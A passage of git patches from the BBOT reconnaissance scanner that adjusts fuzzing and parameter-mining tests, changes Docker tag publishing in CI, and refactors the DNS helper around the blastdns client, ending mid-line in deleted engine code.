.../module_tests/test_module_lightfuzz.py | 15 ---------- .../test_module_paramminer_getparams.py | 28 ++++++++++++------- 2 files changed, 18 insertions(+), 25 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index eb8137e45e..4eb9e0bf21 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -3105,21 +3105,6 @@ def check(self, module_test, events): ) -# Verify that code-change SQLi findings include probe body descriptions for triage -class Test_Lightfuzz_sqli_probe_descriptions(Test_Lightfuzz_sqli): - def check(self, module_test, events): - sqli_finding_emitted = False - for e in events: - if e.type == "FINDING" and "Code Change" in e.data.get("description", ""): - desc = e.data["description"] - # Verify probe body descriptions are present - assert "baseline:" in desc, f"Finding description missing baseline probe details: {desc}" - assert "sq:" in desc, f"Finding description missing single-quote probe details: {desc}" - assert "dq:" in desc, f"Finding description missing double-quote probe details: {desc}" - sqli_finding_emitted = True - assert sqli_finding_emitted, "SQLi code-change FINDING not emitted" - - # Verify that POST SQLi findings include additional_params in the description class Test_Lightfuzz_sqli_post_additional_params(ModuleTestBase): targets = ["http://127.0.0.1:8888"] diff --git a/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py b/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py index f0aab0a143..5c0aca69d7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py +++ b/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py @@ -258,24 +258,32 @@ class TestParamminer_Getparams_filter_static(TestParamminer_Getparams_finish): """ def check(self, module_test, events): - found_hidden_getparam_recycled = False - emitted_excavate_paramminer_duplicate = False + excavate_extracted_param = False + paramminer_recycled_to_php = False + paramminer_bruted_pdf = False for e in events: if e.type == "WEB_PARAMETER": + if ( + "http://127.0.0.1:8888/test2.pdf" in e.data["url"] + and "HTTP Extracted Parameter [abcd1234]" in e.data["description"] + ): + excavate_extracted_param = True + if ( "http://127.0.0.1:8888/test1.php" in e.data["url"] - and "[Paramminer] Getparam: [abcd1234] Reasons: [body] Reflection: [False]" - in e.data["description"] + and "[Paramminer] Getparam: [abcd1234]" in e.data["description"] ): - found_hidden_getparam_recycled = True + paramminer_recycled_to_php = True if ( "http://127.0.0.1:8888/test2.pdf" in e.data["url"] - and "[Paramminer] Getparam: [abcd1234] Reasons: [body] Reflection: [False]" - in e.data["description"] + and "[Paramminer] Getparam:" in e.data["description"] ): - emitted_excavate_paramminer_duplicate = True + paramminer_bruted_pdf = True - assert found_hidden_getparam_recycled, "Failed to find hidden GET parameter" - assert not emitted_excavate_paramminer_duplicate, "Paramminer emitted parameter for static URL" + # Excavate still extracts the param from the link, but paramminer's filter_event + # drops the WEB_PARAMETER because .pdf is in url_extension_static + assert excavate_extracted_param, "Excavate should still extract the parameter from the HTML link" + assert not paramminer_recycled_to_php, "Paramminer should not recycle words from static-URL WEB_PARAMETERs" + assert not paramminer_bruted_pdf, "Paramminer should not brute-force parameters on static URLs" From 1a2eb3391ab3f7c6f6663545c07cc462b50dc651 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Wed, 15 Apr 2026 14:17:13 -0400 Subject: [PATCH 518/912] fix docker publishing --- .github/workflows/tests.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 81dba55baf..8cddad737e 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -120,7 +120,6 @@ jobs: push: true context: . tags: | - blacklanternsecurity/bbot:latest blacklanternsecurity/bbot:dev blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }} blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR_MINOR }} @@ -132,6 +131,7 @@ jobs: push: true context: . tags: | + blacklanternsecurity/bbot:latest blacklanternsecurity/bbot:stable blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }} blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR_MINOR }} @@ -144,7 +144,6 @@ jobs: file: Dockerfile.full context: . tags: | - blacklanternsecurity/bbot:latest-full blacklanternsecurity/bbot:dev-full blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }}-full blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR_MINOR }}-full @@ -157,6 +156,7 @@ jobs: file: Dockerfile.full context: . tags: | + blacklanternsecurity/bbot:latest-full blacklanternsecurity/bbot:stable-full blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }}-full blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR_MINOR }}-full From ad7c34447b51945f0909d8860a7e49ec5996463c Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Wed, 15 Apr 2026 16:33:29 -0400 Subject: [PATCH 519/912] bump blastdns version, test wip --- bbot/core/helpers/dns/dns.py | 408 ++++++--- bbot/core/helpers/dns/engine.py | 663 -------------- bbot/core/helpers/dns/helpers.py | 94 +- bbot/core/helpers/dns/mock.py | 74 -- bbot/core/helpers/misc.py | 7 - bbot/modules/dnsbimi.py | 86 +- bbot/modules/dnscaa.py | 93 +- bbot/modules/dnstlsrpt.py | 104 ++- bbot/modules/internal/dnsresolve.py | 43 +- bbot/test/test_step_1/test_dns.py | 842 +++--------------- bbot/test/test_step_2/module_tests/base.py | 4 +- .../module_tests/test_module_dnsbimi.py | 29 +- .../module_tests/test_module_dnstlsrpt.py | 12 +- .../test_template_subdomain_enum.py | 12 +- pyproject.toml | 2 +- uv.lock | 167 ++-- 16 files changed, 723 insertions(+), 1917 deletions(-) delete mode 100644 bbot/core/helpers/dns/engine.py delete mode 100644 bbot/core/helpers/dns/mock.py diff --git a/bbot/core/helpers/dns/dns.py b/bbot/core/helpers/dns/dns.py index fd50e6b448..4ac2376517 100644 --- a/bbot/core/helpers/dns/dns.py +++ b/bbot/core/helpers/dns/dns.py @@ -1,17 +1,16 @@ -import dns +import asyncio import logging -import dns.exception -import dns.asyncresolver -from cachetools import LFUCache -from radixtarget import RadixTarget +import time +from contextlib import suppress -from bbot.errors import DNSError -from bbot.core.helpers.async_helpers import async_cachedmethod -from ..misc import clean_dns_record, is_ip, is_domain, is_dns_name +from cachetools import LFUCache, LRUCache +from radixtarget import RadixTarget -from blastdns import Client, get_system_resolvers +from blastdns import Client, ClientConfig, DNSError, DNSResult, MockClient, get_system_resolvers -from .engine import DNSEngine +from bbot.core.helpers.async_helpers import NamedLock, async_cachedmethod +from .helpers import all_rdtypes, extract_targets, record_to_text +from ..misc import clean_dns_record, domain_parents, is_dns_name, is_domain, is_ip, parent_domain, rand_string log = logging.getLogger("bbot.core.helpers.dns") @@ -19,61 +18,77 @@ class DNSHelper: """Helper class for DNS-related operations within BBOT. - This class provides mechanisms for host resolution, wildcard domain detection, event tagging, and more. - It centralizes all DNS-related activities in BBOT, offering both synchronous and asynchronous methods - for DNS resolution, as well as various utilities for batch resolution and DNS query filtering. + Wraps the blastdns ``Client`` (a Rust-backed async DNS engine) and adds the + BBOT-specific concerns that live above raw resolution: wildcard detection, + per-zone error tracking, connectivity checks, and ``dns_omit_queries`` + filtering. Attributes: parent_helper: A reference to the instantiated `ConfigAwareHelper` (typically `scan.helpers`). - resolver (BBOTAsyncResolver): An asynchronous DNS resolver tailored for BBOT with rate-limiting capabilities. - timeout (int): The timeout value for DNS queries. Defaults to 5 seconds. - retries (int): The number of retries for failed DNS queries. Defaults to 1. - abort_threshold (int): The threshold for aborting after consecutive failed queries. Defaults to 50. - all_rdtypes (list): A list of DNS record types to be considered during operations. - wildcard_ignore (tuple): Domains to be ignored during wildcard detection. - wildcard_tests (int): Number of tests to be run for wildcard detection. Defaults to 5. - _wildcard_cache (dict): Cache for wildcard detection results. - resolver_file (Path): File containing system's current resolver nameservers. - - Args: - parent_helper: The parent helper object with configuration details and utilities. - - Raises: - DNSError: If an issue arises when creating the BBOTAsyncResolver instance. - - Examples: - >>> dns_helper = DNSHelper(parent_config) - >>> resolved_host = dns_helper.resolver.resolve("example.com") + blastdns (blastdns.Client): The underlying Rust DNS client. + timeout (int): Per-query timeout in seconds. Defaults to 5. + retries (int): Number of retries for failed DNS queries. Defaults to 5. + abort_threshold (int): Consecutive failed queries per parent before aborting. Defaults to 50. + wildcard_ignore (RadixTarget): Domains to skip during wildcard detection. + wildcard_tests (int): Random subdomains generated per wildcard check. Defaults to 5. + resolver_file (Path): File containing the system's resolver IPs (for tools that need it). """ def __init__(self, parent_helper): - self.log = logging.getLogger("bbot.core.helpers.dns") + self.log = log self.parent_helper = parent_helper self.config = self.parent_helper.config self.dns_config = self.config.get("dns", {}) - engine_debug = self.config.get("engine", {}).get("debug", False) - # super().__init__(server_kwargs={"config": self.config}, debug=engine_debug) - # resolver + # config self.timeout = self.dns_config.get("timeout", 5) self.retries = self.dns_config.get("retries", 5) - self.system_resolvers = get_system_resolvers() self.threads = self.dns_config.get("threads", 5) self.cache_size = self.dns_config.get("cache_size", 10000) - self.log.debug(f"Starting BlastDNS client with {self.threads} threads per resolver, {self.retries} retries, {self.cache_size} cache size, and {self.timeout} second timeout") + self.abort_threshold = self.dns_config.get("abort_threshold", 50) + # how many consecutive DNS resolution hops we allow before tagging an event as runaway + self.runaway_limit = self.dns_config.get("runaway_limit", 5) + + # blastdns client + self.system_resolvers = get_system_resolvers() + self.log.debug( + f"Starting BlastDNS client with {self.threads} threads per resolver, " + f"{self.retries} retries, {self.cache_size} cache size, " + f"and {self.timeout} second timeout" + ) self.blastdns = Client( - resolvers=self.system_resolvers, - request_timeout_ms=self.timeout * 1000, - max_retries=self.retries, - threads_per_resolver=self.threads, - cache_capacity=self.cache_size, + self.system_resolvers, + ClientConfig( + request_timeout_ms=self.timeout * 1000, + max_retries=self.retries, + threads_per_resolver=self.threads, + cache_capacity=self.cache_size, + ), ) + # parse dns.omit_queries (e.g. "A:internal.bad.com") into {rdtype: {host, ...}} + self.dns_omit_queries = {} + for entry in self.dns_config.get("omit_queries", None) or []: + parts = entry.split(":") + if len(parts) == 2: + rdtype, host = parts + self.dns_omit_queries.setdefault(rdtype.upper(), set()).add(host.lower()) + # wildcard handling self.wildcard_disable = self.dns_config.get("wildcard_disable", False) + self.wildcard_tests = self.dns_config.get("wildcard_tests", 5) self.wildcard_ignore = RadixTarget() for d in self.dns_config.get("wildcard_ignore", []): self.wildcard_ignore.insert(d) + self._wildcard_cache = LRUCache(maxsize=10000) + self._wildcard_lock = NamedLock() + + # error tracking + connectivity + self._errors = LRUCache(maxsize=10000) + self._dns_warnings = LRUCache(maxsize=10000) + self._dns_connectivity_lock = None + self._last_dns_success = None + self._last_connectivity_warning = time.time() # copy the system's current resolvers to a text file for tool use self.resolver_file = self.parent_helper.tempfile(self.system_resolvers, pipe=False) @@ -81,120 +96,293 @@ def __init__(self, parent_helper): # brute force helper self._brute = None + # method-level dedup caches for is_wildcard / is_wildcard_domain self._is_wildcard_cache = LFUCache(maxsize=1000) self._is_wildcard_domain_cache = LFUCache(maxsize=1000) - async def resolve(self, query, **kwargs): - return await self.blastdns.resolve(query, **kwargs) - - # async def resolve_raw(self, query, **kwargs): - # return await self.run_and_return("resolve_raw", query=query, **kwargs) - - # async def resolve_batch(self, queries, **kwargs): - # agen = self.run_and_yield("resolve_batch", queries=queries, **kwargs) - # while 1: - # try: - # yield await agen.__anext__() - # except (StopAsyncIteration, GeneratorExit): - # await agen.aclose() - # break - - # async def resolve_raw_batch(self, queries): - # agen = self.run_and_yield("resolve_raw_batch", queries=queries) - # while 1: - # try: - # yield await agen.__anext__() - # except (StopAsyncIteration, GeneratorExit): - # await agen.aclose() - # break + # ------------------------------------------------------------------ + # Resolution -- thin pass-throughs to blastdns. Anything more complex + # belongs in a caller that knows the exact shape it wants. + # ------------------------------------------------------------------ - @property - def brute(self): - if self._brute is None: - from .brute import DNSBrute + async def resolve(self, query, rdtype="A"): + """Resolve to a set of rdata strings (e.g. IPs).""" + return set(await self.blastdns.resolve(query, rdtype)) - self._brute = DNSBrute(self.parent_helper) - return self._brute + async def resolve_full(self, query, rdtype="A"): + """Return blastdns ``DNSResult`` (full response with Record objects).""" + return await self.blastdns.resolve_full(query, rdtype) + + async def resolve_multi_full(self, query, rdtypes): + """Resolve many rdtypes for one host concurrently in Rust. + + Skips rdtypes listed in ``dns_omit_queries`` for the matching host suffix. + Returns ``dict[rdtype, DNSResult | DNSError]``. + """ + rdtypes = [r for r in rdtypes if not self._is_omitted(query, r)] + if not rdtypes: + return {} + return await self.blastdns.resolve_multi_full(query, rdtypes) + + async def resolve_batch_full(self, hosts, rdtype="A", skip_empty=False, skip_errors=False): + """Resolve many hosts for one rdtype concurrently in Rust. + + Yields ``(host, DNSResult | DNSError)``. + """ + async for host, result in self.blastdns.resolve_batch_full( + hosts, rdtype, skip_empty=skip_empty, skip_errors=skip_errors + ): + yield host, result + + def _is_omitted(self, query, rdtype): + omit_hosts = self.dns_omit_queries.get(rdtype.upper()) + if not omit_hosts: + return False + q = str(query).lower() + return any(q == h or q.endswith(f".{h}") for h in omit_hosts) + + # ------------------------------------------------------------------ + # Wildcard detection + # ------------------------------------------------------------------ @async_cachedmethod( lambda self: self._is_wildcard_cache, - key=lambda query, rdtypes, raw_dns_records: (query, tuple(sorted(rdtypes)), bool(raw_dns_records)), + key=lambda query, rdtypes, raw_dns_records=None: (query, tuple(sorted(rdtypes)), bool(raw_dns_records)), ) async def is_wildcard(self, query, rdtypes, raw_dns_records=None): """ - Use this method to check whether a *host* is a wildcard entry - - This can reliably tell the difference between a valid DNS record and a wildcard within a wildcard domain. - - If you want to know whether a domain is using wildcard DNS, use `is_wildcard_domain()` instead. + Check whether ``query`` is a wildcard hit within a wildcard domain. Args: - query (str): The hostname to check for a wildcard entry. - ips (list, optional): List of IPs to compare against, typically obtained from a previous DNS resolution of the query. - rdtype (str, optional): The DNS record type (e.g., "A", "AAAA") to consider during the check. + query (str): The hostname to check. + rdtypes (list): DNS record types to consider. + raw_dns_records (dict, optional): ``{rdtype: [Record, ...]}`` already + resolved for this query. If omitted, the records are fetched. Returns: - dict: A dictionary indicating if the query is a wildcard for each checked DNS record type. - Keys are DNS record types like "A", "AAAA", etc. - Values are tuples where the first element is a boolean indicating if the query is a wildcard, - and the second element is the wildcard parent if it's a wildcard. - - Raises: - ValueError: If only one of `ips` or `rdtype` is specified or if no valid IPs are specified. - - Examples: - >>> is_wildcard("www.github.io") - {"A": (True, "github.io"), "AAAA": (True, "github.io")} - - >>> is_wildcard("www.evilcorp.com", ips=["93.184.216.34"], rdtype="A") - {"A": (False, "evilcorp.com")} - - Note: - `is_wildcard` can be True, False, or None (indicating that wildcard detection was inconclusive) + dict: ``{rdtype: (is_wildcard, parent)}`` for each rdtype that resolved. + ``is_wildcard`` may be ``True``, ``False``, ``None``, ``"POSSIBLE"``, or ``"ERROR"``. """ query = self._wildcard_prevalidation(query) if not query: return {} - # skip check if the query is a domain + # skip check if the query is itself a domain if is_domain(query): return {} - return await self.run_and_return("is_wildcard", query=query, rdtypes=rdtypes, raw_dns_records=raw_dns_records) + if isinstance(rdtypes, str): + rdtypes = [rdtypes] + + result = {} + + # if the work of resolving hasn't been done yet, do it + if raw_dns_records is None: + raw_dns_records = {} + multi = await self.resolve_multi_full(query, list(rdtypes)) + for rdtype, response in multi.items(): + if isinstance(response, DNSResult) and response.response.answers: + raw_dns_records[rdtype] = response.response.answers + elif isinstance(response, DNSError): + self.log.debug(f"Failed to resolve {query} ({rdtype}) during wildcard detection: {response.error}") + result[rdtype] = ("ERROR", query) + + # build the baseline (the IPs/hosts we actually got back for this query) + baseline = {} + baseline_raw = {} + for rdtype, answers in raw_dns_records.items(): + for answer in answers: + text_answer = record_to_text(answer) + baseline_raw.setdefault(rdtype, set()).add(text_answer) + for _, host in extract_targets(answer): + baseline.setdefault(rdtype, set()).add(host) + + if not raw_dns_records: + return result + + rdtypes_to_check = set(raw_dns_records) + + # walk parent domains shortest-first, comparing baseline against any wildcard pool + parents = list(domain_parents(query)) + for parent in parents[::-1]: + wildcard_results = await self.is_wildcard_domain(parent, rdtypes_to_check) + + for rdtype in list(baseline_raw): + if rdtype in result: + continue + + _baseline = baseline.get(rdtype, set()) + _baseline_raw = baseline_raw.get(rdtype, set()) + + wildcard_rdtypes = wildcard_results.get(parent, {}) + wildcards = wildcard_rdtypes.get(rdtype) + if wildcards is None: + continue + wildcards, wildcard_raw = wildcards + + if wildcard_raw: + rdtypes_to_check.discard(rdtype) + is_wc = any(r in wildcards for r in _baseline) + is_wc_raw = any(r in wildcard_raw for r in _baseline_raw) + if is_wc or is_wc_raw: + result[rdtype] = (True, parent) + else: + result[rdtype] = ("POSSIBLE", parent) + + for rdtype, answers in baseline_raw.items(): + if answers and rdtype not in result: + result[rdtype] = (False, query) + + return result @async_cachedmethod( - lambda self: self._is_wildcard_domain_cache, key=lambda domain, rdtypes: (domain, tuple(sorted(rdtypes))) + lambda self: self._is_wildcard_domain_cache, + key=lambda domain, rdtypes: (domain, tuple(sorted(rdtypes))), ) async def is_wildcard_domain(self, domain, rdtypes): + """For each parent of ``domain``, return the wildcard pool per rdtype. + + Returns ``{parent: {rdtype: (hosts_set, raw_text_set)}}``. + """ domain = self._wildcard_prevalidation(domain) if not domain: return {} - return await self.run_and_return("is_wildcard_domain", domain=domain, rdtypes=rdtypes) + if isinstance(rdtypes, str): + rdtypes = [rdtypes] + rdtypes = set(rdtypes) + + wildcard_results = {} + # walk parents from shortest (root) to longest, narrowing rdtypes as we find wildcards + for host in list(domain_parents(domain, include_self=True))[::-1]: + host_results = {} + # check each rdtype concurrently for this parent + tasks = [self._is_wildcard_zone(host, rdtype) for rdtype in list(rdtypes)] + if not tasks: + break + for rdtype, (results, results_raw) in zip(list(rdtypes), await asyncio.gather(*tasks)): + if results_raw: + rdtypes.discard(rdtype) + host_results[rdtype] = (results, results_raw) + if host_results: + wildcard_results[host] = host_results + + return wildcard_results + + async def _is_wildcard_zone(self, host, rdtype): + """Test one (host, rdtype) for wildcard configuration. Cached per-pair.""" + rdtype = rdtype.upper() + host_hash = hash((host, rdtype)) + + async with self._wildcard_lock.lock(host_hash): + try: + cached = self._wildcard_cache[host_hash] + self.log.debug(f"Got {host}:{rdtype} from wildcard cache") + return cached + except KeyError: + pass + + self.log.debug(f"Checking if {host}:{rdtype} is a wildcard") + results = set() + results_raw = set() + + rand_hosts = [f"{rand_string(digits=False, length=10)}.{host}" for _ in range(self.wildcard_tests)] + async for _, response in self.resolve_batch_full(rand_hosts, rdtype): + if not isinstance(response, DNSResult): + continue + for answer in response.response.answers: + results_raw.add(record_to_text(answer)) + for _, t in extract_targets(answer): + results.add(t) + + if results: + self.log.info(f"Encountered domain with wildcard DNS ({rdtype}): *.{host}") + else: + self.log.debug(f"Finished checking {host}:{rdtype}, it is not a wildcard") + + self._wildcard_cache[host_hash] = (results, results_raw) + return results, results_raw def _wildcard_prevalidation(self, host): if self.wildcard_disable: return False host = clean_dns_record(host) - # skip check if it's an IP or a plain hostname if is_ip(host) or "." not in host: return False - - # skip if query isn't a dns name if not is_dns_name(host): return False - # skip check if the query's parent domain is excluded in the config wildcard_ignore = self.wildcard_ignore.search(host) if wildcard_ignore: - log.debug(f"Skipping wildcard detection on {host} because {wildcard_ignore} is excluded in the config") + self.log.debug( + f"Skipping wildcard detection on {host} because {wildcard_ignore} is excluded in the config" + ) return False return host + # ------------------------------------------------------------------ + # Error tracking + connectivity + # ------------------------------------------------------------------ + + def record_dns_error(self, query, rdtype): + """Bump the error counter for ``query``'s parent zone. Returns the new count.""" + parent_hash = hash((parent_domain(str(query)), rdtype)) + self._errors[parent_hash] = self._errors.get(parent_hash, 0) + 1 + return self._errors[parent_hash] + + def reset_dns_errors(self, query, rdtype): + parent_hash = hash((parent_domain(str(query)), rdtype)) + if parent_hash in self._errors: + self._errors[parent_hash] = 0 + + @property + def dns_connectivity_lock(self): + if self._dns_connectivity_lock is None: + self._dns_connectivity_lock = asyncio.Lock() + return self._dns_connectivity_lock + + async def _connectivity_check(self, interval=5): + """Confirm the network can reach DNS. Cached for ``interval`` seconds.""" + if self._last_dns_success is not None and time.time() - self._last_dns_success < interval: + return True + + async with self.dns_connectivity_lock: + with suppress(Exception): + answers = await self.blastdns.resolve("www.google.com", "A") + if answers: + self._last_dns_success = time.time() + return True + + if time.time() - self._last_connectivity_warning > interval: + self.log.warning("DNS queries are failing, please check your internet connection") + self._last_connectivity_warning = time.time() + self._errors.clear() + return False + + # ------------------------------------------------------------------ + # Brute / mock helpers + # ------------------------------------------------------------------ + + @property + def brute(self): + if self._brute is None: + from .brute import DNSBrute + + self._brute = DNSBrute(self.parent_helper) + return self._brute + async def _mock_dns(self, mock_data): - from blastdns import MockClient + """Swap the underlying client for a ``MockClient`` configured with ``mock_data``.""" + mock_client = MockClient() + mock_client.mock_dns(mock_data) + self.blastdns = mock_client + + async def shutdown(self): + """No-op kept for API compatibility -- blastdns runs in-process, nothing to tear down.""" + return None + - self.resolver = MockClient() - self.resolver.mock_dns(mock_data) +# Re-export for convenience +__all__ = ["DNSHelper", "all_rdtypes", "extract_targets", "record_to_text"] diff --git a/bbot/core/helpers/dns/engine.py b/bbot/core/helpers/dns/engine.py deleted file mode 100644 index d2e56dc207..0000000000 --- a/bbot/core/helpers/dns/engine.py +++ /dev/null @@ -1,663 +0,0 @@ -import os -import dns -import time -import asyncio -import logging -import traceback -from cachetools import LRUCache -from contextlib import suppress - -from bbot.core.engine import EngineServer -from bbot.core.helpers.async_helpers import NamedLock -from bbot.core.helpers.dns.helpers import extract_targets -from bbot.core.helpers.misc import ( - is_ip, - rand_string, - parent_domain, - domain_parents, -) - - -log = logging.getLogger("bbot.core.helpers.dns.engine.server") - -all_rdtypes = ["A", "AAAA", "SRV", "MX", "NS", "SOA", "CNAME", "TXT"] - - -class DNSEngine(EngineServer): - CMDS = { - 0: "resolve", - 1: "resolve_raw", - 2: "resolve_batch", - 3: "resolve_raw_batch", - 4: "is_wildcard", - 5: "is_wildcard_domain", - 99: "_mock_dns", - } - - def __init__(self, socket_path, config={}, debug=False): - super().__init__(socket_path, debug=debug) - - self.config = config - self.dns_config = self.config.get("dns", {}) - # config values - self.timeout = self.dns_config.get("timeout", 5) - self.retries = self.dns_config.get("retries", 1) - self.abort_threshold = self.dns_config.get("abort_threshold", 50) - - # resolver - self.resolver = dns.asyncresolver.Resolver() - self.resolver.rotate = True - self.resolver.timeout = self.timeout - self.resolver.lifetime = self.timeout - - # skip certain queries - dns_omit_queries = self.dns_config.get("omit_queries", None) - if not dns_omit_queries: - dns_omit_queries = [] - self.dns_omit_queries = {} - for d in dns_omit_queries: - d = d.split(":") - if len(d) == 2: - rdtype, query = d - rdtype = rdtype.upper() - query = query.lower() - try: - self.dns_omit_queries[rdtype].add(query) - except KeyError: - self.dns_omit_queries[rdtype] = {query} - - # wildcard handling - self.wildcard_ignore = self.dns_config.get("wildcard_ignore", None) - if not self.wildcard_ignore: - self.wildcard_ignore = [] - self.wildcard_ignore = tuple([str(d).strip().lower() for d in self.wildcard_ignore]) - self.wildcard_tests = self.dns_config.get("wildcard_tests", 5) - self._wildcard_cache = LRUCache(maxsize=10000) - # since wildcard detection takes some time, This is to prevent multiple - # modules from kicking off wildcard detection for the same domain at the same time - self._wildcard_lock = NamedLock() - - self._dns_connectivity_lock = None - self._last_dns_success = None - self._last_connectivity_warning = time.time() - # keeps track of warnings issued for wildcard detection to prevent duplicate warnings - self._dns_warnings = LRUCache(maxsize=10000) - self._errors = LRUCache(maxsize=10000) - self._debug = self.dns_config.get("debug", False) - self._dns_cache = LRUCache(maxsize=100000) - - async def resolve(self, query, **kwargs): - """Resolve DNS names and IP addresses to their corresponding results. - - This is a high-level function that can translate a given domain name to its associated IP addresses - or an IP address to its corresponding domain names. It's structured for ease of use within modules - and will abstract away most of the complexity of DNS resolution, returning a simple set of results. - - Args: - query (str): The domain name or IP address to resolve. - **kwargs: Additional arguments to be passed to the resolution process. - - Returns: - set: A set containing resolved domain names or IP addresses. - - Examples: - >>> results = await resolve("1.2.3.4") - {"evilcorp.com"} - - >>> results = await resolve("evilcorp.com") - {"1.2.3.4", "dead::beef"} - """ - results = set() - try: - answers, errors = await self.resolve_raw(query, **kwargs) - for answer in answers: - for _, host in extract_targets(answer): - results.add(host) - except BaseException: - self.log.trace(f"Caught exception in resolve({query}, {kwargs}):") - self.log.trace(traceback.format_exc()) - raise - - self.debug(f"Results for {query} with kwargs={kwargs}: {results}") - return results - - async def resolve_raw(self, query, **kwargs): - """Resolves the given query to its associated DNS records. - - This function is a foundational method for DNS resolution in this class. It understands both IP addresses and - hostnames and returns their associated records in a raw format provided by the dnspython library. - - Args: - query (str): The IP address or hostname to resolve. - type (str or list[str], optional): Specifies the DNS record type(s) to fetch. Can be a single type like 'A' - or a list like ['A', 'AAAA']. If set to 'any', 'all', or '*', it fetches all supported types. If not - specified, the function defaults to fetching 'A' and 'AAAA' records. - **kwargs: Additional arguments that might be passed to the resolver. - - Returns: - tuple: A tuple containing two lists: - - list: A list of tuples where each tuple consists of a record type string (like 'A') and the associated - raw dnspython answer. - - list: A list of tuples where each tuple consists of a record type string and the associated error if - there was an issue fetching the record. - - Examples: - >>> await resolve_raw("8.8.8.8") - ([('PTR', )], []) - - >>> await resolve_raw("dns.google") - (, []) - """ - # DNS over TCP is more reliable - # But setting this breaks DNS resolution on Ubuntu because systemd-resolve doesn't support TCP - # kwargs["tcp"] = True - try: - query = str(query).strip() - kwargs.pop("rdtype", None) - rdtype = kwargs.pop("type", "A") - if is_ip(query): - return await self._resolve_ip(query, **kwargs) - else: - return await self._resolve_hostname(query, rdtype=rdtype, **kwargs) - except BaseException: - self.log.trace(f"Caught exception in resolve_raw({query}, {kwargs}):") - self.log.trace(traceback.format_exc()) - raise - - async def _resolve_hostname(self, query, **kwargs): - """Translate a hostname into its corresponding IP addresses. - - This is the foundational function for converting a domain name into its associated IP addresses. It's designed - for internal use within the class and handles retries, caching, and a variety of error/timeout scenarios. - It also respects certain configurations that might ask to skip certain types of queries. Results are returned - in the default dnspython answer object format. - - Args: - query (str): The hostname to resolve. - rdtype (str, optional): The type of DNS record to query (e.g., 'A', 'AAAA'). Defaults to 'A'. - retries (int, optional): The number of times to retry on failure. Defaults to class-wide `retries`. - use_cache (bool, optional): Whether to check the cache before trying a fresh resolution. Defaults to True. - **kwargs: Additional arguments that might be passed to the resolver. - - Returns: - tuple: A tuple containing: - - list: A list of resolved IP addresses. - - list: A list of errors encountered during the resolution process. - - Examples: - >>> results, errors = await _resolve_hostname("google.com") - (, []) - """ - self.debug(f"Resolving {query} with kwargs={kwargs}") - results = [] - errors = [] - rdtype = kwargs.get("rdtype", "A") - - # skip certain queries if requested - if rdtype in self.dns_omit_queries: - if any(h == query or query.endswith(f".{h}") for h in self.dns_omit_queries[rdtype]): - self.debug(f"Skipping {rdtype}:{query} because it's omitted in the config") - return results, errors - - parent = parent_domain(query) - retries = kwargs.pop("retries", self.retries) - use_cache = kwargs.pop("use_cache", True) - tries_left = int(retries) + 1 - parent_hash = hash((parent, rdtype)) - dns_cache_hash = hash((query, rdtype)) - while tries_left > 0: - try: - if use_cache: - results = self._dns_cache.get(dns_cache_hash, []) - if not results: - error_count = self._errors.get(parent_hash, 0) - if error_count >= self.abort_threshold: - connectivity = await self._connectivity_check() - if connectivity: - self.log.verbose( - f'Aborting query "{query}" because failed {rdtype} queries for "{parent}" ({error_count:,}) exceeded abort threshold ({self.abort_threshold:,})' - ) - if parent_hash not in self._dns_warnings: - self.log.verbose( - f'Aborting future {rdtype} queries to "{parent}" because error count ({error_count:,}) exceeded abort threshold ({self.abort_threshold:,})' - ) - self._dns_warnings[parent_hash] = True - return results, errors - results = await self._catch(self.resolver.resolve, query, **kwargs) - if use_cache: - self._dns_cache[dns_cache_hash] = results - if parent_hash in self._errors: - self._errors[parent_hash] = 0 - break - except ( - dns.resolver.NoNameservers, - dns.exception.Timeout, - dns.resolver.LifetimeTimeout, - TimeoutError, - asyncio.exceptions.TimeoutError, - ) as e: - try: - self._errors[parent_hash] += 1 - except KeyError: - self._errors[parent_hash] = 1 - errors.append(e) - # don't retry if we get a SERVFAIL - if isinstance(e, dns.resolver.NoNameservers): - break - tries_left -= 1 - err_msg = ( - f'DNS error or timeout for {rdtype} query "{query}" ({self._errors[parent_hash]:,} so far): {e}' - ) - if tries_left > 0: - retry_num = (retries + 1) - tries_left - self.debug(err_msg) - self.debug(f"Retry (#{retry_num}) resolving {query} with kwargs={kwargs}") - else: - self.log.verbose(err_msg) - - if results: - self._last_dns_success = time.time() - self.debug(f"Answers for {query} with kwargs={kwargs}: {list(results)}") - - if errors: - self.debug(f"Errors for {query} with kwargs={kwargs}: {errors}") - - return results, errors - - async def _resolve_ip(self, query, **kwargs): - """Translate an IP address into a corresponding DNS name. - - This is the most basic function that will convert an IP address into its associated domain name. It handles - retries, caching, and multiple types of timeout/error scenarios internally. The function is intended for - internal use and should not be directly called by modules without understanding its intricacies. - - Args: - query (str): The IP address to be reverse-resolved. - retries (int, optional): The number of times to retry on failure. Defaults to 0. - use_cache (bool, optional): Whether to check the cache for the result before attempting resolution. Defaults to True. - **kwargs: Additional arguments to be passed to the resolution process. - - Returns: - tuple: A tuple containing: - - list: A list of resolved domain names (in default dnspython answer format). - - list: A list of errors encountered during resolution. - - Examples: - >>> results, errors = await _resolve_ip("8.8.8.8") - (, []) - """ - self.debug(f"Reverse-resolving {query} with kwargs={kwargs}") - retries = kwargs.pop("retries", 0) - use_cache = 